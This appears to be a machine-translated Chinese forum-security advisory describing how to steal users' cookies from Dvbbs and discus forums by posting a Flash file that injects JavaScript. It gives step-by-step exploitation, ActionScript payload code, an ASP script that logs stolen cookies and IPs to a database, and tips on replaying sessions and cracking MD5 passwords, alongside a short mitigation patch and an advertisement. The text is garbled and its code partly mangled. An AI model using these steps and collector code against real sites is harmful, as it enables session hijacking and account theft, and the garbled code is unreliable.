Cookie|cookies Irrigation Company Honor produced
◇ This vulnerability involves the version::
Dvbbs, discus all versions, other forums have not been tested, believe that most of the vulnerability exists
◇ Description:
As Dvbbs and other forums on the Flash play form, resulting in the attacker can use flash embed a section of JavaScript code, to steal the user's cookies
◇ Specific analysis and utilization:
1. First prepare a space to run ASP to store cookies
2. Create a new Flash animation, add the following code:
Onclipevent (load) {
Url= "Javascript:var rng=document.selection.createrange (); rng.pastehtml (\ <iframe name=frame_hide style= ') Display:none ' ></iframe>\"); "
GetURL (URL);
}
The use of IFRAME is to allow others to find the program's page jump
3. Export Flash as a SWF file, insert it into the forum where you want to steal cookies, and add code (note, some forums are [swf][/swf])
4. In this way, if a user enters the post, the JavaScript program will send the user's cookies to writecookies.asp and save them to the database
5. As for the cookie cheat, recommend to use IECookiesView, many tutorials have introduced, here is not much to say
◇ Remark
1. For the forum to disable flash, you can also use the PNG format image embedded code to steal
2. After the cookie, the password is the MD5 algorithm encrypted string, if you like to use violence, you can try to decode, of course, the individual is not recommended this method
◇ Solution:
1. Disable flash, or change flash to link format, to move the network as an example, modify the inc/ubbcode.asp file
Find the following two paragraphs
Re. Pattern= "(\[flash\]) (. [ ^\[]*) (\[\/flash\]) "
Strcontent= Re. Replace (strcontent, "<a href=" "$" "Target=_blank>[Full Screen appreciation]</a>
<object codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid= clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=500 height=400><param Name=movie value= "" $ "" ><PARAM Name=quality value=high><embed src= "" $ "" Quality=high pluginspage= ' http://www.macromedia.com/shockwave/ Download/index.cgi? P1_prod_version=shockwaveflash ' type= ' Application/x-shockwave-flash ' width=500 height=400>$2</embed>< /object> ")
Re. Pattern= "(\[flash=* ([0-9]*), * ([0-9]*) \]) (. [ ^\[]*) (\[\/flash\]) "
Strcontent= Re. Replace (strcontent, "<a href=" "$" "Target=_blank>[Full Screen appreciation]</a>
<object codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,2,0 classid= clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 width=$2 height=$3><param Name=movie value= "" $ "" ><PARAM Name=quality value=high><embed src= "" $ "" Quality=high pluginspage= ' http://www.macromedia.com/shockwave/ Download/index.cgi? P1_prod_version=shockwaveflash ' type= ' Application/x-shockwave-flash ' width=$2 height=$3>$4</embed></ Object> ")
To
Re. Pattern= "(\[flash\]) (. [ ^\[]*) (\[\/flash\]) "
Strcontent= Re. Replace (strcontent, "<a href=" "$" "Target=_blank>[Click to open the Flash file]</a> ")
Re. Pattern= "(\[flash=* ([0-9]*), * ([0-9]*) \]) (. [ ^\[]*) (\[\/flash\]) "
Strcontent= Re. Replace (strcontent, "<a href=" "$" "Target=_blank>[Click to open the Flash file]</a> ")
2. As for the PNG picture, leave it to the people who write the forum to solve it.
◇ attached: Simple ASP code to save cookies, if you want to add other functions, you have a slight modification on the line.
Set conn=server.createobject ("ADODB. Connection ")
Conn. Open "Driver={microsoft Access driver (*.mdb)};d bq=" & Server.MapPath ("Cookieslog.mdb")
Cookies=request ("Cookies")
Ip=request.servervariables ("Remote_host")
Sql= "INSERT into Co (COOKIES,IP) VALUES (' &Cookies&" ', ' "&IP&") "
Conn.execute (SQL)
Set conn=nothing
◇ Advertising Time:
This loophole by "irrigation company" all staff found that the flash code by Yu Ping, the document by small bamboo finishing.
Irrigation companies to provide professional-level Web site program development, database development, fee-based Technical support, security consultancy services
Contact Method:
qq:48814 (Xiaozhou)
QQ Group: 1019634 (irrigation company)
